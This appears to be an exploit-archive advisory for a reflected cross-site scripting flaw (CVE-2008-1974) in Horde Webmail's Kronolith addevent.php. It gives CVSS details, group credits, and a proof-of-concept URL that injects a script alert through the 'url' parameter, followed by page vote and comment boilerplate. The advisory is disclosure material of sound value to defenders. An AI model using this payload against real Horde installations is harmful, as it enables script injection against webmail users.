Horde Webmail XSS

2008.04.27

Credit: Aria-Security Team

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2008-1974

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

Aria-Security Team (Persian Security Network)

http://Aria-Security.com & http://Aria-Security.net

----------------------------------------------------------

Greetz: AurA, imm02tal, Mormoroth ,NULL, Kinglet

http://www.horde.org/

target:port#/horde/kronolith/addevent.php?timestamp=1208932200&url=%22%3
E%3CScript%3Ealert('Aria-Security%20Team (Persian Security Team)')%3C/script%3E

Regards,

The-0utl4w

From Aria-Security Team

See this note in RAW Version

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

Horde Webmail XSS

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Horde Webmail XSS

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.